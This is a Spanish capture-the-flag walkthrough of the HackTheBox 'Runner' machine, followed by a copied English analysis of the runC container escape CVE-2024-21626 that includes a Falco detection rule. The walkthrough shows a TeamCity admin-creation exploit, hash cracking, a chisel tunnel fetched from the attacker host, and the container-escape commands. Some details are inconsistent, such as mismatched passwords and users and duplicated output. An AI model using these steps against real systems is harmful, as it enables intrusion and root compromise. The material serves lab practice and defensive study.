

nmap

```
nmap 10.10.11.13
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-28 15:01 EDT
Nmap scan report for runner.htb (10.10.11.13)
Host is up (0.13s latency).
Not shown: 997 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
8000/tcp  open  http-alt

Nmap done: 1 IP address (1 host up) scanned in 4.08 seconds
```

```
vim /etc/hosts
10.10.11.13 runner.htb
```

```
whatweb 10.10.11.13
http://10.10.11.13 [302 Found] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.13], RedirectLocation[http://runner.htb/],
Title[302 Found], nginx[1.18.0]
http://runner.htb/ [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[sales@runner.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.13],
jQuery[3.5.1], PoweredBy[TeamCity!], Script, Title[Runner - CI/CD Specialists], X-UA-Compatible[IE=edge], nginx[1.18.0]
```

Encontramos un subdominio:

teamcity.runner.htb

Lo añadimos en /etc/hosts, nos dirigimos a la página:
Vemos la versión que se está ejecutando.

Version 2023.05.3 (build 129390)

En este punto, buscaremos algun exploit.
<https://www.google.com/search?client=firefox-b-e&q=Version+2023.05.3+temcity+exploit>
<https://www.exploit-db.com/exploits/51884>

Descargamos el PoC.
python3 51884.py -u <http://teamcity.runner.htb> -v

```
=====
* CVE-2023-42793 *
* TeamCity Admin Account Creation *
* *
* Author: ByteHunter *
=====
```

```
Token: eyJ0eXAiOiAiVENWMIj9.eXNTZWpGWk5iaFRFTWlsUFZkRzN3a3RuSGVV.OTYzNjhjZGQtM2QwZC00MmRlWjJlNTgtYzUxYmNiZTJlMzlh
Successfully exploited!
URL: http://teamcity.runner.htb
Username: city_adminAotS
Password: Main_password!**
Final curl command: curl --path-as-is -H "Authorization: Bearer
eyJ0eXAiOiAiVENWMIj9.eXNTZWpGWk5iaFRFTWlsUFZkRzN3a3RuSGVV.OTYzNjhjZGQtM2QwZC00MmRlWjJlNTgtYzUxYmNiZTJlMzlh" -X POST http://teamcity.runner.htb/app/rest/users -H "Content-Type: application/json" --data '{"username": "city_adminAotS", "password": "theSecretPass!", "email": "nest@nest",
"roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}'
```

Iniciamos sesión con las credenciales.
Nos dirigimos a: <http://teamcity.runner.htb/admin/admin.html?item=projects>

En la sección de Backup, crearemos uno.
Lo descargaremos http://teamcity.runner.htb/get/file/backup/TeamCity_Backup_20240501_085405.zip
Podemos encontrar un fichero con las claves ssh.
/root/Desktop/machines/Runner/config/projects/AllProjects/pluginData/ssh_keys/

Trataremos de hacer login mediante ssh con el fichero id_rsa.
Aunque primero, necesitamos algún usuario.
Buscaremos algun usuario disponible en teamcity.runner.htb

<http://teamcity.runner.htb/admin/admin.html?item=users>

```
# Vemos estos usuarios:
admin
JO_ John john@runner.htb View groups (1) View roles (1/1) 01 May 24 08:51:02
city_admin6nuu
CA_ N/A angry-admin@funnybunny.org View groups (1) View roles (1/1) 01 May 24 08:18:53
city_adminaots
CA_ N/A angry-admin@funnybunny.org View groups (1) View roles (1/1) 01 May 24 08:52:32
```

```
htbuser
HT_ N/A N/A View groups (1) View roles (1/1) 01 May 24 07:18:51
matthew
MA_ Matthew matthew@runner.htb View groups (1) View roles (1/1) 28 Feb 24 20:00:21
```

#Ahora, con el comando `grep -r`, buscaremos alguna referencia sobre estos usuarios.

```
grep -r "matthew"
```

```
database_dump/users:2, matthew, $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em, Matthew, matthew@runner.htb, 1709150421438,
BCRYPT
```

```
database_dump/vcs_username:2, anyVcs, -1, 0, matthew
```

```
user.txt:matthew
```

john

```
grep -r "matthew"
database_dump/users:2, matthew, $2a$07$q.m8WQP8niXODv55IJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em, Matthew, matthew@runner.htb, 1709150421438, BCRYPT
database_dump/vcs_username:2, anyVcs, -1, 0, matthew
user.txt:matthew
```

```
grep -r "john"
database_dump/comments:201, -42, 1709746543407, "New username: 'admin', new name: 'John', new email: 'john@runner.htb'"
database_dump/users:1, admin, $2a$07$neV5T/BIEDiMQUs.gM1p4uYI8xl8kvNUo4/8Aja2sAWHAQLWqufye, John, john@runner.htb, 1714553462608, BCRYPT
```

Parece que tenemos dos hashes. Trataremos de crackearlos.

Buscamos de que tipo de hash se trata en: https://hashes.com/en/tools/hash_identifier

\$2a\$07\$q.m8WQP8niXODv55IJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em - Possible algorithms: bcrypt \$2*\$, Blowfish (Unix)

Probaremos con john.

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

Using default input encoding: UTF-8

Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])

Cost 1 (iteration count) is 128 for all loaded hashes

Will run 12 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status

piper123 (?)

Ahora, iniciaremos sesión en SSH con las credenciales de Jhon.

```
ssh -i id_rsa john@10.10.11.13
```

Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-102-generic x86_64)

* Documentation: <https://help.ubuntu.com>

* Management: <https://landscape.canonical.com>

* Support: <https://ubuntu.com/pro>

System information as of Wed May 1 09:24:23 AM UTC 2024

```
System load: 0.2568359375   Users logged in:      0
Usage of /:  90.6% of 9.74GB   IPv4 address for br-21746deff6ac: 172.18.0.1
Memory usage: 42%           IPv4 address for docker0:    172.17.0.1
Swap usage:  0%              IPv4 address for eth0:      10.10.11.13
Processes:   222
```

=> / is using 90.6% of 9.74GB

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.

See <https://ubuntu.com/esm> or run: sudo pro status

The list of available updates is more than a week old.

To check for new updates run: sudo apt update

Failed to connect to <https://changelogs.ubuntu.com/meta-release-lts>. Check your Internet connection or proxy settings

Last login: Wed May 1 06:58:06 2024 from 10.10.16.17

john@runner:~\$

priv_escalation

```
#Buscaremos alguna conexión interesante.
john@runner:~$ netstat -lantp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address      Foreign Address    State    PID/Program name
tcp      0      0 127.0.0.1:9000      0.0.0.0:*          LISTEN   -
tcp      0      0 127.0.0.1:5005      0.0.0.0:*          LISTEN   -
tcp      0      0 0.0.0.0:80          0.0.0.0:*          LISTEN   -

#Estos son los puertos abiertos:
john@runner:~$ netstat -lantp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address      Foreign Address    State    PID/Program name
tcp      0      0 127.0.0.1:9000      0.0.0.0:*          LISTEN   -
tcp      0      0 127.0.0.1:5005      0.0.0.0:*          LISTEN   -
tcp      0      0 0.0.0.0:80          0.0.0.0:*          LISTEN   -
tcp      0      0 0.0.0.0:22          0.0.0.0:*          LISTEN   -
tcp      0      0 127.0.0.1:9443      0.0.0.0:*          LISTEN   -
tcp      0      0 127.0.0.1:8111      0.0.0.0:*          LISTEN   -
tcp      0      0 127.0.0.53:53       0.0.0.0:*          LISTEN   -

#Nos fijamos bien en el 9000.
#Usaremos chisel para realizar un port forwarding.
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.13 - - [01/May/2024 05:36:50] "GET /chisel HTTP/1.1" 200 -

wget http://10.10.14.237/chisel
--2024-05-01 09:36:49-- http://10.10.14.237/chisel
Connecting to 10.10.14.237:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8654848 (8.3M) [application/octet-stream]
Saving to: 'chisel'

chisel      100%[=====>] 8.25M 2.42MB/s in 3.4s

2024-05-01 09:36:52 (2.42 MB/s) - 'chisel' saved [8654848/8654848]

#En localhost:
./chisel server -port 7777 --reverse
2024/05/01 05:39:08 server: Reverse tunnelling enabled
2024/05/01 05:39:08 server: Fingerprint 1FJJXlqthaLrVW4VCwaPdsGdwqE19R4dmkYzNyl4so=
2024/05/01 05:39:08 server: Listening on http://0.0.0.0:7777
2024/05/01 05:39:11 server: session#1: tun: proxy#R:9000=>9000: Listening
/05/01 05:39:08 server: Reverse tunnelling enabled

#En la máquina víctima:
chmod +x chisel
john@runner:~$ ./chisel client 10.10.14.237:7777 R:9000:127.0.0.1:9000
2024/05/01 09:39:10 client: Connecting to ws://10.10.14.237:7777
2024/05/01 09:39:11 client: Connected (Latency 131.945623ms)

#Nos dirigimos a http://127.0.0.1:9000/#!/auth
#Usaremos las credenciales del usuario mathew.
matthew:piper123

#Vemos un sistema gestor de Dockers.
#Antes de sumergirme en la creación de contenedores, estableceré un volumen para garantizar una gestión de datos perfecta. Con un volumen dedicado implementado, tendremos una solución de almacenamiento confiable para nuestro entorno en contenedores.

#Primero, creamos el volumen.
http://127.0.0.1:9000/#!/1/docker/volumes/new

#Ahora, creamos el contenedor.
http://127.0.0.1:9000/#!/1/docker/containers/new

#Seleccionamos el "Interactive TTY"
#Indicamos la ubicación del container: /user
#En Image, indicamos: teamcity:latest
#Working dir: "/proc/self/fd/8"

#Luego, le daremos en "deploy".
#Nos dejará ejecutar comandos: http://127.0.0.1:9000/#!/1/docker/containers/ca4992e57d81ba36f152d88a6ec44a31a56a0d93741b09c39a73386a79f1202c/exec

#Indicamos que queremos ejecutar el /bin/bash como usuario root.
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
root@0d3aa3045e34:~# whoami
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
```

```
root
root@0d3aa3045e34:~# cat ../../../../root/root.txt
job-working-directory: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
7b14ea03a459dd40aec38fbaafb16c54
root@0d3aa3045e34:~#
```

CVE-2024-21626

https://nitroc.org/en/posts/cve-2024-21626-illustrated/?source=post_page-----0e0513cda74a-----#falco

Illustrate runC Escape Vulnerability CVE-2024-21626

Exploit via Setting Working Directory to /proc/self/fd/
Exploit via docker exec

How Docker Engine Calls runC
Reproduce via runC Itself
How the Vulnerability Happens
Why runC Decides to Use openat2(2)
Why the File Descriptor of /sys/fs/cgroup is 7
Why the File Descriptor of /sys/fs/cgroup is 8 when Running a Container with docker exec
The Magic --log Parameter
How the Official Fixes it

Leaky vessels dynamic detector from synk
Falco

runC, a container runtime component, published version 1.1.12 to fix CVE-2024-21626 at 31, Jan 2024, which leads to escaping from containers. The range of affected versions are $\geq v1.0.0\text{-rc93}$, $\leq 1.1.11$. For containerd the fixed versions are 1.6.28 and 1.7.13, the range of affected versions are 1.4.7 to 1.6.27 and 1.7.0 to 1.7.12. For Docker the fixed version is 25.0.2.
Reproduce

My environment to reproduce it is:

Linux distro: Arch Linux
Linux kernel: 6.4.12-arch1-1
Docker version: 24.0.6
runc version: 1.1.9

According to the root cause of the vulnerability, attackers can exploit via two different ways:

Set the working directory of the container to /proc/self/fd/<fd> (where <fd> stands for the file descriptor when opening /sys/fs/cgroup in host filesystem. Usually it's 7 or 8) when running a container.

Create a symlink for /proc/self/fd/<fd> (where <fd> stands for the file descriptor when opening /sys/fs/cgroup in host filesystem. Usually it's 7 or 8). When users execute commands inside the container via docker exec or kubectl exec by setting the working directory to the symlink, attackers can access host filesystem through /proc/<PID>/cwd, where <PID> stands for the PID of the process generated by docker exec or kubectl exec command.

Exploit via Setting Working Directory to /proc/self/fd/

Just run the following command:

`docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm`

/images/cve-2024-21626-escape-via-crafted-image.gif
Exploit via docker exec

Start a container and create a symlink for /proc/self/fd/8.

Execute docker exec command with -w parameter to execute sleep command in the container.

Inside the container, find PID of sleep command, then access host filesystem via /proc/<PID>/cwd. For example, execute `cat /proc/<PID>/cwd/../../../../etc/shadow` to get shadow file in host filesystem.

/images/cve-2024-21626-escape-via-exec.gif
Analyze CVE-2024-21626

In this section, I'll describe the calling relationship among the components at first. Then reproduce the vulnerability again with runc run command, and explain how the vulnerability happens. Lastly analyze the code to fix the vulnerability.

How Docker Engine Calls runC

When running a container with docker run command, the calling relationship among dockerd, containerd, containerd-shim-runc-v2 and runc is:

/run/containerd/containerd.sock
fork(2) & execve(2)
fork(2) & execve(2)
dockerd
containerd
containerd-shim-runc-v2
runc

Docker Engine (dockerd) calls RPC methods of containerd to create and run a container via /run/containerd/containerd.sock.
containerd executes containerd-shim-runc-v2 command to run a standalone RPC service via UNIX domain socket, the path of which is stored in file /run/containerd/io.containerd.v2.task/moby/<containerID>/address by default. The definition of the RPC service lies on file /api/runtime/task/v3/shim.proto.

When containerd calls Create method of containerd-shim-runc-v2 to create a container, containerd-shim-runc-v2 executes runc create command. When containerd calls Start method of containerd-shim-runc-v2 to start a container, containerd-shim-runc-v2 executes runc start command.

By the way, containerd creates a package called github.com/containerd/go-runc to encapsulate operations of runC.

Reproduce via runC Itself

Use Docker to run a container with alpine image, then export it as a tar archive. We'll use it as rootfs of our container later.

Execute `runc spec` command to generate a default config file `config.json`, and change the value of key `cwd` to `/proc/self/fd/7`.

Run a container by executing `runc run` command to create an exploitable container. Note that `--log` parameter is necessary!

[/images/cve-2024-21626-reproduce-via-runc.gif](#)

How the Vulnerability Happens

if `openat2` syscall failed

`startContainer`

`createContainer`

`(*linuxFactory).Create`

`(*manager).GetFreezerState`

`cgroups.prepareOpenat2`

`openFallback`

`runc run` command creates a `libcontainer.linuxContainer` object at first. In order to create the object, runC needs to create an interface object called `cgroups.Manager`, which is used to manage `cgroups`. It'll open `/sys/fs/cgroup` in host filesystem, and subsequent operations to `cgroup` files are based on `openat2(2)` system call and the file descriptor of `/sys/fs/cgroup`. But runC doesn't close the file descriptor of `/sys/fs/cgroup` in time when forking child processes, so that child processes can access host filesystem through `/proc/self/fd/<fdnum>`.

Notice that if calling `openat2(2)` system call failed (if `openat2(2)` doesn't exist), runC will call function `openFallback()` to open `cgroup` files with absolute paths.

Why runC Decides to Use `openat2(2)`

runC added support to `openat2(2)` in 4, Dec 2024, aka version `v1.0.0-rc93`. The answer, in brief, is to prevent potential security risks when mounting directories in host filesystem into mount namespace of containers. It's a long story to give a detailed explanation, and deserved to write another article. For now you can refer to this article and manual of `openat2(2)`.

Why the File Descriptor of `/sys/fs/cgroup` is 7

Well, it's related to Golang runtime. First there is no doubt that file descriptor 0, 1 and 2 are stands for `stdin`, `stdout`, `stderr`. The file descriptor of the log file specified by `--log` parameter is 3. Golang runtime subsequently calls `epoll_create(2)` to create file descriptor 4 and `pipe(2)` to create two file descriptors 5 and 6. Now, opening `/sys/fs/cgroup` creates file descriptor 7.

The reason why opening the log file at first, then Go runtime calling `epoll_create(2)` and `pipe(2)` is related to the implementation of Go runtime, it's a long story again.

Why the File Descriptor of `/sys/fs/cgroup` is 8 when Running a Container with `docker exec`

From the first part of this section, we know that it's `containerd-shim-runc-v2` that calls `runc` command, and `containerd-shim-runc-v2` provides a RPC service via UNIX domain socket before executing runC, so the file descriptor which stands for the UNIX domain socket is passed to runC process by mistake.

We can prove the reason in this way. Add a new line to call `sleep()` function at the very beginning of `nsexec()` function in file `nsexec.c`. We can get the relationship of file descriptors between `containerd-shim-runc-v2` and `runc create`.

[/images/rpc-socket-passed-to-runc.png](#)

Process `runc create` is blocked immediately after it's been created because of our added `sleep` function. From the screenshot above Process `runc create` has 4 file descriptors:

0 stands for `stdin`. It's been redirected to `/dev/null` because `containerd-shim-runc-v2` don't need to send any input data to runC.

1 and 2 stands for `stdout` and `stderr`. They refer to the same pipe from `containerd-shim-runc-v2`, because `containerd-shim-runc-v2` wants to collect and store them.

3 stands for the UNIX domain socket used to be provide the RPC service.

[/images/sys-fs-cgroup-with-fd-8.png](#)

PID 1374988 in the screenshot above stands for `runc:[2:INIT]` process, which in turn will become the container process after calling `execve(2)`. We can see that the fd of `/sys/fs/cgroup` is 8, just because of the UNIX domain socket offering RPC service!

It's still unclear why sometimes the fd of `/sys/fs/cgroup` is still 7 when running containers via `docker exec`. Guess that it's still related to Go runtime.

The Magic `--log` Parameter

when reproducing the vulnerability via runC itself, if we didn't specify `--log` parameter, the fd of `/sys/fs/cgroup` would become 3, thus the exploit would not happen, cause Go runtime would close it. The reason is related to the implementation of Go runtime.

As we all know, we use `fork(2)` to create a child process on Linux, and the child process will inherit all opened file descriptors from the parent process. But when executing a new program by using `execve(2)`, Linux kernel will close those file descriptors which have `O_CLOEXEC` flag set. But the remaining opened file descriptors are still accessible for the newly loaded program. In this case, it may lead to potential security risk.

In order to solve the problem, the design of Golang is to prevent child processes from inheriting all file descriptors by default. Developers need to pass those file descriptors to be inherited explicitly. Specifically, Golang runtime sets `O_CLOEXEC` flag for each file descriptor. For those to be inherited, Golang runtime uses `dup3(2)` to duplicate new file descriptors. Be notice that those file descriptors created by calling raw syscalls don't be flagged as `O_CLOEXEC` by default, so for these file descriptors whether they can be inherited by child processes depends on the actual situation. If the value of file descriptor is greater than `len(Cmd.ExtraFiles) + 3`, it can be inherited successfully. Otherwise it'll be closed. You can read the source code of Golang to get more detail.

How the Official Fixes it

We see four commits to fix the vulnerability in the repo, 8e1cd2, f2f162, 89c93d, ee7309. The last three commits aims to close unnecessary file descriptors before forking children. The first commit aims to verify whether the current working directory is inside container or not.

How to detect

The exploits have the following characteristics:

- A container will `execve(2)` a process with a special working directory which starts with `/proc/self/fd/`.
- A container will create symbolic links via `symlink(2)` or `symlinkat(2)` with a special target directory link which starts with `/proc/self/fd/`.
- A container will open files via `open(2)`, `openat(2)` or `openat2(2)` with filenames like `/proc/d+/cwd/*`.

Leaky vessels dynamic detector from synk

Synk offers a tool to detect this vulnerability. It's implemented by using eBPF, but eBPF code is not open-source. I'll write a article later to RE it.
Falco

Here is the custom Falco rule:

```
- macro: container
  condition: (container.id != host and container.name exists)

- rule: CVE-2024-21626 (runC escape through /proc/[PID]/cwd) exploited
  desc: >
    Detect CVE-2024-21626, runC escape vulnerability through /proc/[PID]/cwd.
  condition: >
    container and ((evt.type = execve and proc.cwd startswith "/proc/self/fd") or (evt.type in (open, openat, openat2) and fd.name glob "/proc/*/cwd/*") or (evt.type in (symlink, symlinkat) and fs.path.target startswith "/proc/self/fd/")) and proc.name != "runc:[1:CHILD]"
  output: CVE-2024-21626 exploited (%container.info evt_type=%evt.type process=%proc.name command=%proc.cmdline target=%fs.path.targetraw)
  priority: CRITICAL
```

But filtering false positives with `proc.name` is not a good idea.